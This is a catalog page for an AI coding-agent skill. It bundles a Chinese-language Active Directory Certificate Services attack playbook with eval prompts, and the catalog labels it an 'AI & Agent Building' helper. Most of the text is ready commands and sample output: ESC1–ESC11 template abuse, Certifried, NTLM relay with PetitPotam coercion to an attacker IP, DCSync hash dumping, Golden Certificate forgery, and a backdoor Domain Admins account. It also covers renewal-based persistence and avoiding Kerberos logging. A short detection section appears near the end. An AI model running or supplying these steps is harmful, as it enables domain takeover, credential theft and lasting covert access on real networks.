
Adcs Certipy Attack
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
adcs-certipy-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- adcs-certipy-attack
- AI & Agent Building
- AI-coding skill
Adcs Certipy Attack by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,764 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill adcs-certipy-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
ADCS 证书攻击方法论
ADCS 是 Active Directory 的 PKI 基础设施。错误配置的证书模板可以让低权限用户直接获取域管权限——这是目前域渗透中最被低估也最强大的攻击面。
⛔ 深入参考(必读)
- ESC1-ESC11 各漏洞详细利用命令和条件 → references/esc-techniques.md
- 模板 ACL 滥用 (ESC4)、ESC7/ESC11、模板枚举与清理 → references/template-acl-attacks.md
- Golden Certificate、Schannel 认证、证书格式转换、持久化 → references/certificate-persistence.md
- → references/certifried-attack.md — CVE-2022-26923 Certifried 机器账户证书欺骗
---
Phase 1: ADCS 发现
# 发现 CA 服务器
netexec ldap DC_IP -u USER -p PASS -M adcs
# 输出 CA 名称和服务器
# Certipy 枚举(推荐)
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -enabled -vulnerable
# 输出 JSON/TXT 报告,自动标注漏洞模板
# 手动 LDAP 查询
ldapsearch -H ldap://DC_IP -D "USER@DOMAIN" -w PASS \
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com"ADCS Web Enrollment 检测
# 访问 Web 界面
curl -sk https://CA_SERVER/certsrv/
# 返回 401 或登录页 → ADCS Web Enrollment 存在Phase 2: 漏洞决策树
发现了什么?
├─ ESC1: 模板允许申请者指定 SAN → 冒充任意用户
├─ ESC2: 模板有 Any Purpose / SubCA → 签发任意证书
├─ ESC3: 模板有 Certificate Request Agent → 代理申请
├─ ESC4: 有模板写权限 → 修改模板为 ESC1
├─ ESC6: CA 启用 EDITF_ATTRIBUTESUBJECTALTNAME2 → 全局 ESC1
├─ ESC7: 有 CA 管理员权限 → 签发被拒绝的请求
├─ ESC8: ADCS Web Enrollment + NTLM Relay → 中继获取证书
├─ ESC9/10/11: 新型攻击路径
└─ 无明显漏洞 → 检查 NTLM Relay 到 ADCS
详细命令 → [references/esc-techniques.md](references/esc-techniques.md)最常见的攻击路径: 1. ESC1 — 存在配置错误模板,直接申请域管证书 2. ESC8 — PetitPotam + NTLM Relay 到 ADCS,获取域控证书 3. ESC4 — 有写权限的模板,改成 ESC1 再利用
Phase 3: ESC1 快速利用(最常见)
ESC1 条件:模板允许 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(申请者可指定 SAN)
# 用 Certipy 申请域管证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA_NAME -template VULN_TEMPLATE \
-upn administrator@DOMAIN
# 用证书认证获取 TGT
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# 输出: administrator Hash: aad3b435...
# DCSync
impacket-secretsdump -hashes :HASH DOMAIN/administrator@DC_IPPhase 4: ESC8 中继攻击
# 1. 启动 ntlmrelayx 中继到 ADCS
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 2. 强制域控认证
python3 PetitPotam.py ATTACKER_IP DC_IP
# 3. 获取域控证书(Base64 输出)
# 保存并认证
echo "BASE64" | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip DC_IPPhase 5: 证书认证
# Certipy 认证(自动请求 TGT + 提取 NTLM)
certipy auth -pfx user.pfx -dc-ip DC_IP
# 如果 PKINIT 不可用(报错 KDC_ERR_PADATA_TYPE_NOSUPP)
# 使用 Schannel 认证
certipy auth -pfx user.pfx -dc-ip DC_IP -ldap-shell
# 或用 PassTheCert(工具路径默认安装在: /pentest/PassTheCert/Python/)
python3 /pentest/PassTheCert/Python/passthecert.py -action ldap-shell -crt user.crt -key user.key -domain DOMAIN -dc-ip DC_IP工具速查
| 工具 | 用途 |
|---|---|
| certipy | ADCS 枚举 + 利用全流程 |
| ntlmrelayx.py | NTLM 中继到 ADCS |
| PetitPotam | 强制域控认证 |
| Rubeus | Windows 下证书认证 |
| PassTheCert | 证书直接认证(无 PKINIT) |
关键概念
- SAN(Subject Alternative Name):证书中的身份字段,ESC1 允许申请者指定 → 冒充任何人
- PKINIT:用证书进行 Kerberos 预认证 → 获取 TGT → 提取 NTLM Hash
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:模板标志,允许申请者自定义 SAN = ESC1
{
"skill_name": "adcs-certipy-attack",
"evals": [
{
"id": 1,
"prompt": "certipy find 输出显示有一个模板标记了 ESC1 (ENROLLEE_SUPPLIES_SUBJECT),我是普通域用户,怎么利用?",
"expected_output": "certipy req 指定 -upn administrator@DOMAIN 申请域管证书,然后 certipy auth 获取 NTLM Hash,DCSync"
},
{
"id": 2,
"prompt": "域内有 CA 服务器但没有发现 ESC1 漏洞模板,还有什么 ADCS 攻击路径?",
"expected_output": "检查 ESC4(模板写权限)、ESC6(全局 SAN)、ESC7(CA 管理员)、ESC8(中继到 Web Enrollment)"
},
{
"id": 3,
"prompt": "用 certipy auth 认证证书时报 KDC_ERR_PADATA_TYPE_NOSUPP,怎么办?",
"expected_output": "DC 不支持 PKINIT,改用 Schannel: certipy auth -pfx x.pfx -ldap-shell,或用 PassTheCert"
}
]
}
ADCS 证书持久化技术
Golden Certificate: CA 私钥盗取与证书伪造
概述
Golden Certificate 攻击通过盗取 CA 的私钥,在离线环境下伪造任意用户的证书。这是 ADCS 攻击中最强大的持久化手段。
前提条件
- CA 服务器的管理员权限(本地 admin 或 Domain Admin)
- 已知 CA 名称(通过枚举获取)
步骤 1: 确认 CA 服务器管理权限
# 枚举 CA 服务器
netexec ldap DC_IP -u USER -p PASS -M adcs
# 确认对 CA 服务器有管理权限
netexec smb CA_SERVER -u USER -p PASS
# 输出 (Pwn3d!) 表示有管理员权限步骤 2: 备份 CA 私钥
# certipy 远程备份 CA 私钥
certipy ca -backup -u 'admin@DOMAIN' -p 'PASS' \
-ca CA-NAME -target CA_SERVER -dc-ip DC_IP
# 输出: CA-NAME.pfx (CA 私钥和证书)步骤 3: 离线伪造任意用户证书
# 伪造域管证书(完全离线,无需网络)
certipy forge -ca-pfx CA-NAME.pfx -upn administrator@DOMAIN \
-subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# 输出: administrator_forged.pfx
# 伪造域控机器账户证书
certipy forge -ca-pfx CA-NAME.pfx -upn 'DC01$@DOMAIN'
# 伪造指定有效期的证书(天数)
certipy forge -ca-pfx CA-NAME.pfx -upn administrator@DOMAIN -validity 3650步骤 4: 使用伪造证书认证
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP
# 输出:
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Got hash for 'administrator@DOMAIN': aad3b435...Golden Certificate vs Golden Ticket 对比
| 特性 | Golden Certificate | Golden Ticket |
|---|---|---|
| 依赖密钥 | CA 私钥 | krbtgt Hash |
| 密码更改后存活 | 是 | 是 |
| krbtgt 轮换后存活 | 是 | 否 |
| 有效期 | 可自定义(年级别) | 默认 10 小时 |
| 创建时日志 | 无(完全离线) | 无 |
| 使用时日志 | Event 4768 (PKINIT) | Event 4768 |
| 检测难度 | 高(不在 CA 已签发列表中) | 中 |
关键差异: krbtgt 密码轮换是对抗 Golden Ticket 的标准缓解措施,但对 Golden Certificate 完全无效。只有重新部署 CA 才能消除 Golden Certificate 威胁。
---
Schannel 认证: 绕过 Kerberos 直接 LDAP 认证
概述
Schannel 认证使用 TLS 客户端证书直接向 DC 的 LDAP 服务认证,完全绕过 Kerberos。当 PKINIT 不可用(KDC_ERR_PADATA_TYPE_NOSUPP)或需要规避 Kerberos 日志时使用。
使用 certipy 进入 LDAP Shell
# 使用证书直接 LDAP 认证
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip DC_IP
# LDAP Shell 中可执行的操作:
# 创建后门用户
add_user backdoor_user P@ssw0rd123
# 添加到 Domain Admins
add_user_to_group backdoor_user "Domain Admins"
# 读取 LAPS 密码
get_laps_password TARGET_COMPUTER
# 修改用户属性
set_rbcd TARGET_COMPUTER ATTACKER_COMPUTER使用 PassTheCert
# 先从 PFX 提取证书和私钥
certipy cert -pfx administrator.pfx -nokey -out user.crt
certipy cert -pfx administrator.pfx -nocert -out user.key
# PassTheCert LDAP Shell
python3 passthecert.py -action ldap-shell \
-crt user.crt -key user.key \
-domain DOMAIN -dc-ip DC_IP
# PassTheCert 添加机器账户
python3 passthecert.py -action add-computer \
-crt user.crt -key user.key \
-domain DOMAIN -dc-ip DC_IP \
-computer-name 'EVIL$' -computer-pass 'P@ssw0rd'
# PassTheCert 修改 RBCD
python3 passthecert.py -action write-rbcd \
-crt user.crt -key user.key \
-domain DOMAIN -dc-ip DC_IP \
-delegate-to TARGET_COMPUTER -delegate-from 'EVIL$'Schannel 认证优势
| 特性 | PKINIT 认证 | Schannel 认证 |
|---|---|---|
| 协议 | Kerberos (88/tcp) | LDAPS (636/tcp) |
| 日志 | Event 4768 | LDAP 操作日志(通常不审计) |
| 产出 | TGT + NTLM Hash | LDAP Shell / 直接操作 |
| 适用场景 | 需要 TGT 票据 | PKINIT 不可用 / 规避检测 |
---
证书格式转换
PFX 与 PEM 互转
# PFX → PEM(提取证书和私钥)
openssl pkcs12 -in cert.pfx -out cert.pem -nodes
# 密码: 通常为空或 certipy 默认密码
# PFX → 单独提取证书
openssl pkcs12 -in cert.pfx -clcerts -nokeys -out cert.crt
# PFX → 单独提取私钥
openssl pkcs12 -in cert.pfx -nocerts -nodes -out cert.key
# PEM → PFX(合并证书和私钥)
openssl pkcs12 -export -in cert.crt -inkey cert.key -out cert.pfx
# 设置导出密码
# DER → PEM
openssl x509 -inform DER -in cert.der -out cert.pem
# PEM → DER
openssl x509 -outform DER -in cert.pem -out cert.der查看证书信息
# 查看 PFX 证书内容
openssl pkcs12 -in cert.pfx -info -nokeys
# 查看 PEM 证书详情(主体、颁发者、有效期、EKU)
openssl x509 -in cert.pem -text -noout
# 查看证书有效期
openssl x509 -in cert.pem -noout -dates
# notBefore=Apr 23 00:00:00 2025 GMT
# notAfter=Apr 23 00:00:00 2026 GMTPFX 密码破解
# 使用 pfx2john 提取 Hash
pfx2john cert.pfx > pfx_hash.txt
# John 破解
john --wordlist=/usr/share/wordlists/rockyou.txt pfx_hash.txt
# Hashcat 破解(mode 22911 = PFX/PKCS#12)
hashcat -m 22911 pfx_hash.txt /usr/share/wordlists/rockyou.txt---
证书有效期利用
默认有效期
- 大多数模板的默认证书有效期为 1 年
- 部分自定义模板可能设置更长有效期(2-5 年)
- CA 根证书有效期通常为 5-10 年
检查模板有效期设置
# certipy 枚举时查看 Validity Period
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -stdout
# 输出中查找:
# Validity Period: 1 year
# Renewal Period: 6 weeks证书有效期内的持久化窗口
证书签发
│
├── Day 0 ──────────────────────── Day 365
│ ← 证书有效期(默认 1 年)→
│
│ 密码更改 ✗ 不影响证书认证
│ krbtgt 轮换 ✗ 不影响证书认证
│ 账户禁用 ✓ 阻止证书认证
│ 证书吊销 ✓ 如果启用了 CRL 检查
│
└── Day 319 ── 续期窗口开始(默认到期前 6 周)利用长有效期模板
# 如果发现有效期较长的模板
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template LONG_VALIDITY_TEMPLATE
# Golden Certificate 可以自定义有效期
certipy forge -ca-pfx CA-NAME.pfx -upn administrator@DOMAIN -validity 3650
# 生成有效期 10 年的证书---
证书续期作为持久化机制
原理
证书到期前可以使用现有证书进行续期(Renewal),无需用户密码。续期会生成新证书,有效期重新计算。
续期条件
- 当前证书仍在有效期内
- 模板允许续期(
Renewal Period> 0) - 用户仍有模板的 Enroll 权限
续期操作
# 使用现有证书请求续期
certipy req -u USER@DOMAIN -pfx old_cert.pfx -dc-ip DC_IP \
-ca CA-NAME -template TEMPLATE_NAME -renew
# Windows 下使用 certreq
certreq -enroll -machine -q -PolicyServer * Renew持久化循环
初始获取证书(Day 0)
│
├── 有效期 1 年
│
└── Day 319: 进入续期窗口
│
├── 使用旧证书续期 → 新证书(有效期再延 1 年)
│
└── Day 684: 再次续期...
│
└── 无限循环(只要模板存在且有权限)防御者视角
| 缓解措施 | 是否有效 | 说明 |
|---|---|---|
| 更改用户密码 | 否 | 证书认证独立于密码 |
| 轮换 krbtgt | 否 | PKINIT 使用证书而非 krbtgt |
| 禁用用户账户 | 是 | KDC 会拒绝已禁用账户的认证 |
| 吊销证书 | 部分有效 | 依赖 CA 发布 CRL 且客户端检查 CRL |
| 删除模板 | 是 | 阻止续期,但已签发证书仍有效直到过期 |
| 重建 CA | 是 | 唯一能彻底消除 Golden Certificate 的方法 |
CVE-2022-26923 Certifried 机器账户证书欺骗
利用机器账户 dNSHostName 属性修改 + SPN 自动更新机制,以低权限域用户身份申请域控机器证书,通过 PKINIT 认证获取域控权限。
---
原理
- 域用户默认可创建最多 10 个机器账户(ms-DS-MachineAccountQuota)
- 机器账户的 dNSHostName 属性可被其创建者修改
- 修改 dNSHostName 时,SPN 中的 hostname 部分会自动同步更新
- Machine 证书模板默认用 dNSHostName 作为证书身份标识
- 攻击流程:创建机器账户 → 清除 SPN(避免冲突检查)→ 修改 dNSHostName 为 DC 的 FQDN → 申请 Machine 模板证书 → 获取域控身份证书
关键点
- 清除 SPN 是必要步骤:否则 SPN 自动更新会与现有 DC 的 SPN 冲突,修改被拒绝
- Machine 模板是默认启用的,无需特殊配置
---
检测是否已修补
# 申请证书后检查是否包含 objectSid 扩展
certipy req -u '$USER@$DOMAIN' -p '$PASS' -dc-ip $DC_IP -target $ADCS -ca '$CA' -template 'Machine'
# 已修补的 CA 会在证书中嵌入 objectSid (OID 1.3.6.1.4.1.311.25.2)
# 未修补: 证书无 objectSid → 可利用
# 已修补: 证书含 objectSid → 身份绑定到原始机器账户,无法欺骗---
前置条件
- 域用户凭据(需要创建机器账户或控制已有机器账户)
- ms-DS-MachineAccountQuota >= 1(默认值 10)
- CA 服务器启用 Machine 模板(默认启用)
- CA 未安装 2022 年 5 月补丁
检查 MachineAccountQuota
netexec ldap $DC_IP -u $USER -p $PASS -M maq
# 或
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC_IP get object 'DC=domain,DC=com' --attr ms-DS-MachineAccountQuota---
Linux 攻击流程
方式一:Certipy 一步创建(推荐)
# 创建机器账户并自动设置 dNSHostName(一步完成)
certipy account create -u '$USER@$DOMAIN' -p '$PASS' -user '$COMPUTER' -pass '$COMPUTER_PASS' -dns '$DC.$DOMAIN'
# 申请 Machine 模板证书
certipy req -u '$COMPUTER$@$DOMAIN' -p '$COMPUTER_PASS' -dc-ip $DC_IP -target $ADCS -ca '$CA' -template 'Machine'
# Pass-the-Certificate 认证
certipy auth -pfx $DC.pfx -dc-ip $DC_IP
# 输出: DC$ NTLM Hash
# DCSync
secretsdump -hashes :$NTHASH '$DOMAIN/$DC$'@$DC_IP方式二:手动分步操作
# 1. 创建机器账户
addcomputer.py -computer-name '$COMPUTER' -computer-pass '$COMPUTER_PASS' '$DOMAIN/$USER:$PASS' -dc-ip $DC_IP
# 2. 清除 SPN(关键步骤,避免冲突检查)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC_IP set object '$COMPUTER$' serviceprincipalname
# 3. 修改 dNSHostName 为目标 DC 的 FQDN
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC_IP set object '$COMPUTER$' dnsHostName -v '$DC.$DOMAIN'
# 4. 申请 Machine 模板证书
certipy req -u '$COMPUTER$@$DOMAIN' -p '$COMPUTER_PASS' -dc-ip $DC_IP -target $ADCS -ca '$CA' -template 'Machine'
# 5. 认证
certipy auth -pfx $DC.pfx -dc-ip $DC_IP使用已控制的机器账户
如果已有机器账户控制权(无需创建新账户):
# 直接清除 SPN + 修改 dNSHostName
bloodyAD -d $DOMAIN -u '$COMPUTER$' -p '$COMPUTER_PASS' --host $DC_IP set object '$COMPUTER$' serviceprincipalname
bloodyAD -d $DOMAIN -u '$COMPUTER$' -p '$COMPUTER_PASS' --host $DC_IP set object '$COMPUTER$' dnsHostName -v '$DC.$DOMAIN'
# 申请证书 + 认证
certipy req -u '$COMPUTER$@$DOMAIN' -p '$COMPUTER_PASS' -dc-ip $DC_IP -target $ADCS -ca '$CA' -template 'Machine'
certipy auth -pfx $DC.pfx -dc-ip $DC_IP---
Windows 攻击方式
# 1. 创建机器账户
New-MachineAccount -MachineAccount $COMPUTER -Password $(ConvertTo-SecureString '$COMPUTER_PASS' -AsPlainText -Force)
# 2. 清除 SPN + 修改 dNSHostName
Set-ADComputer $COMPUTER -ServicePrincipalName @{}
Set-ADComputer $COMPUTER -DnsHostName '$DC.$DOMAIN'
# 3. 申请证书
Certify.exe request /ca:$ADCS\$CA /template:Machine
# 4. 转换并认证
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Rubeus.exe asktgt /user:$DC$ /certificate:cert.pfx /ptt---
与 ESC1 的区别
| 对比项 | Certifried (CVE-2022-26923) | ESC1 |
|---|---|---|
| 利用模板 | Machine(默认启用) | 需要错误配置的自定义模板 |
| 核心手法 | 修改机器账户 dNSHostName | 申请时指定 SAN |
| 前置条件 | 可创建机器账户 + 未修补 CA | 存在允许 SAN 的模板 |
| 补丁修复 | CA 在证书中嵌入 objectSid | 需修改模板配置 |
| 隐蔽性 | 创建机器账户有日志 | 仅证书申请日志 |
---
攻击后清理
# 删除创建的机器账户
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC_IP remove object '$COMPUTER$'
# 或
addcomputer.py -computer-name '$COMPUTER' -delete '$DOMAIN/$USER:$PASS' -dc-ip $DC_IP---
检测与防御
日志检测
- Event ID 4741: 计算机账户被创建
- Event ID 4742: 计算机账户被修改(dNSHostName 变更)
- Event ID 4887: 证书申请(CA 日志)
- 关注 dNSHostName 被修改为其他主机名的事件
防御措施
- 安装 2022 年 5 月 KB5014754 补丁
- 将 ms-DS-MachineAccountQuota 设为 0
- 监控机器账户 dNSHostName 属性变更
- 审计 Machine 模板的证书申请记录
ADCS ESC1-ESC11 漏洞利用详解
ESC1: 可控 SAN 的证书模板
条件:
- 模板启用
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - 低权限用户有 Enroll 权限
- 模板启用了 Client Authentication EKU
ESC1 完整利用步骤
第一步: 发现易受攻击的模板
# Certipy 枚举(自动标注 ESC1)
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable -stdout
# 输出中关注:
# Template Name: VulnerableTemplate
# [!] Vulnerabilities
# ESC1: 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and target has Client Authentication EKU
# ...
# Enrollee Supplies Subject: True
# Client Authentication: True
# Enrollment Rights: DOMAIN\Domain Users# Windows: Certify 枚举
Certify.exe find /vulnerable
# 输出中关注:
# msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
# pkiextendedkeyusage: Client Authentication
# Enrollment Rights: DOMAIN\Domain Users第二步: 申请高权限证书(指定目标 UPN)
# 以当前低权限用户身份申请域管证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template VulnerableTemplate \
-upn administrator@DOMAIN
# 输出:
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 23
# [*] Got certificate with UPN 'administrator@DOMAIN'
# [*] Certificate has no object SID
# [*] Saved certificate and private key to 'administrator.pfx'第三步: 使用证书认证获取 TGT 和 NTLM Hash
# PKINIT 认证
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# 输出:
# [*] Using principal: administrator@DOMAIN
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@DOMAIN': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe第四步: 利用获取的凭据
# 方法 A: 使用 NTLM Hash DCSync
impacket-secretsdump -hashes :2b576acbe6bcfda7294d6bd18041b8fe DOMAIN/administrator@DC_IP
# 方法 B: 使用 Kerberos 票据
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass DOMAIN/administrator@DC_FQDN
# 方法 C: 使用 NTLM Hash 横向移动
netexec smb DC_IP -u administrator -H 2b576acbe6bcfda7294d6bd18041b8feESC2: Any Purpose / SubCA 模板
条件:
- 模板 EKU 为
Any Purpose或SubCA - 低权限用户有 Enroll 权限
# Any Purpose 可以当客户端认证用
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template TEMPLATE_NAME
# SubCA 证书可以签发子证书
# 先申请 SubCA 证书,然后用它签发任意证书ESC3: Certificate Request Agent
条件:
- 模板 A 有 Certificate Request Agent EKU + 低权限可 Enroll
- 模板 B 允许代理注册(enrollment agent)
# 第一步:申请 Request Agent 证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template AGENT_TEMPLATE
# 第二步:用 Agent 证书代理申请域管证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template TARGET_TEMPLATE \
-on-behalf-of 'DOMAIN\administrator' \
-pfx agent.pfxESC4: 模板写权限
条件:
- 低权限用户对证书模板有 WriteDacl / WriteOwner / WriteProperty
# 检查模板 ACL
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable
# 查找 "Write" 权限标记
# 修改模板为 ESC1 配置
certipy template -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-template TEMPLATE_NAME -save-old
# 利用修改后的模板
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template TEMPLATE_NAME \
-upn administrator@DOMAIN
# 恢复模板(可选,减少痕迹)
certipy template -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-template TEMPLATE_NAME -configuration TEMPLATE_NAME.jsonESC6: CA 全局 SAN 配置
条件:
- CA 启用了
EDITF_ATTRIBUTESUBJECTALTNAME2标志 - 任意可注册模板
# 检查
certutil -config "CA_SERVER\CA-NAME" -getreg policy\EditFlags
# 如果包含 EDITF_ATTRIBUTESUBJECTALTNAME2 → 全局 ESC1
# 利用:任何模板都可以指定 SAN
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template User \
-upn administrator@DOMAINESC7: CA 管理员权限
条件:
- 用户有 ManageCA 或 ManageCertificates 权限
# 如果有 ManageCA → 可以自己开启 ESC6
# 开启 EDITF_ATTRIBUTESUBJECTALTNAME2
certipy ca -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -enable-template SubCA
# 申请 SubCA 证书(会被拒绝)
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -template SubCA -upn administrator@DOMAIN
# 记录 Request ID
# 用 ManageCertificates 权限批准被拒绝的请求
certipy ca -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -issue-request REQUEST_ID
# 下载已批准的证书
certipy req -u USER@DOMAIN -p PASS -dc-ip DC_IP \
-ca CA-NAME -retrieve REQUEST_IDESC8: NTLM Relay 到 ADCS Web Enrollment
这是实战中最常用的 ADCS 攻击路径。PetitPotam 强制域控 NTLM 认证 + ntlmrelayx 中继到 ADCS 获取域控证书。
前提确认
# 确认 ADCS Web Enrollment 存在
curl -sk https://CA_SERVER/certsrv/
# 返回 401 或登录页面 → Web Enrollment 存在
curl -sk http://CA_SERVER/certsrv/
# HTTP 也可达 → 无 HTTPS 强制 → 更容易中继完整命令链(3 个终端)
终端 1: 启动 ntlmrelayx 中继
# 基础用法
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# HTTPS 目标(需要忽略证书验证)
ntlmrelayx.py -t https://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 指定监听接口
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController \
-ip ATTACKER_IP终端 2: 触发域控 NTLM 认证(PetitPotam)
# PetitPotam 未认证版本(旧版 Windows 可用)
python3 PetitPotam.py ATTACKER_IP DC_IP
# PetitPotam 认证版本(推荐,兼容性更好)
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 备选: PrinterBug (MS-RPRN)
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 备选: DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP终端 1 输出(中继成功)
[*] SMBD-Thread-X: Received connection from DC_IP
[*] Authenticating against http://CA_SERVER as DOMAIN/DC_HOSTNAME$ SUCCEED
[*] SMBD-Thread-X: Connection from DC_IP controlled, attacking target http://CA_SERVER
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID XX
[*] Base64 encoded certificate written to: DC_HOSTNAME$.b64终端 3: 使用获取的证书
# 方法 A: 直接使用 Base64 证书 (PKINITtools)
gettgtpkinit.py -pfx-base64 $(cat DC_HOSTNAME$.b64) \
'DOMAIN/DC_HOSTNAME$' dc.ccache
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k -no-pass DOMAIN/'DC_HOSTNAME$'@DC_FQDN
# 方法 B: 转为 PFX 后用 certipy
echo "$(cat DC_HOSTNAME$.b64)" | base64 -d > dc.pfx
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 输出:
# [*] Got hash for 'DC_HOSTNAME$@DOMAIN': aad3b435...:NTLM_HASH
# DCSync
impacket-secretsdump -hashes :NTLM_HASH DOMAIN/'DC_HOSTNAME$'@DC_IP通过代理执行 ESC8
# 场景: 通过 C2 Beacon 的 SOCKS 代理执行
# 1. 在 Beacon 上设置端口转发和流量重定向
# beacon> rportfwd 8445 ATTACKER_IP 445
# beacon> socks 1080
# 2. 通过代理启动中继
proxychains4 -q ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 3. 触发目标向 Beacon 机器认证
# beacon> execute-assembly PetitPotam.exe BEACON_IP DC_IPESC9: No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)
条件:
- 模板设置了
msPKI-Enrollment-Flag包含CT_FLAG_NO_SECURITY_EXTENSION StrongCertificateBindingEnforcement未设置为 2
# 修改用户的 UPN 为目标用户
# 申请证书(证书中嵌入的 SID 映射不严格)
# 恢复 UPN
# 用证书认证为目标用户
certipy shadow auto -u USER@DOMAIN -p PASS -dc-ip DC_IP -account TARGET_USERESC10: 弱证书绑定
条件:
CertificateMappingMethods包含UPN映射- 可以修改目标用户的 UPN
类似 ESC9,利用 UPN 映射的宽松性。
ESC11: ICPR (RPC) 中继
# 类似 ESC8 但通过 RPC 而非 HTTP
# 当 Web Enrollment 不可用但 RPC 端点可用时
ntlmrelayx.py -t "rpc://CA_SERVER" -rpc-mode icpr \
-smb2support --adcs --template DomainController证书持久化
# Golden Certificate(获取 CA 私钥后)
# 可以伪造任意用户的证书,永久有效
certipy forge -ca-pfx ca.pfx -upn administrator@DOMAIN -subject "CN=Administrator"
certipy auth -pfx forged.pfx -dc-ip DC_IP---
PKINIT 认证流程详解
概述
PKINIT(Public Key Cryptography for Initial Authentication)是 Kerberos 的扩展,允许使用 X.509 证书代替密码进行预认证。完整流程: 证书 → TGT → NTLM Hash (UnPAC-the-hash)。
认证流程
客户端持有证书 (PFX/PEM)
│
▼
AS-REQ (PA-PK-AS-REQ)
├── 用证书私钥签名时间戳
└── 发送到 KDC (88/tcp)
│
▼
KDC 验证
├── 证书链有效性(CA 是否在 NTAuth 中)
├── 证书是否过期
├── 证书是否被吊销(CRL 检查)
└── EKU 包含 Client Authentication
│
▼
AS-REP
├── TGT(Ticket Granting Ticket)
└── PAC(Privilege Attribute Certificate)
└── 包含 NTLM Hash (encrypted)UnPAC-the-hash: 从 TGT 提取 NTLM Hash
Certipy 在 PKINIT 认证时自动执行 UnPAC-the-hash,从 KDC 响应的 PAC 中提取用户的 NTLM Hash:
# certipy auth 一步完成: 证书 → TGT → NTLM Hash
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# 输出:
# [*] Using principal: administrator@DOMAIN
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache' ← TGT
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@DOMAIN': aad3b435...:HASH ← NTLM Hash使用 PKINITtools 分步执行
# 步骤 1: 证书 → TGT
gettgtpkinit.py -cert-pfx administrator.pfx -dc-ip DC_IP \
"DOMAIN/administrator" admin.ccache
# 步骤 2: TGT → NTLM Hash (UnPAC-the-hash)
export KRB5CCNAME=admin.ccache
getnthash.py -key AS_REP_KEY DOMAIN/administrator
# AS_REP_KEY 从 gettgtpkinit 输出中获取
# 步骤 3: 使用凭据
# 用 TGT
impacket-secretsdump -k -no-pass DOMAIN/administrator@DC_FQDN
# 用 NTLM Hash
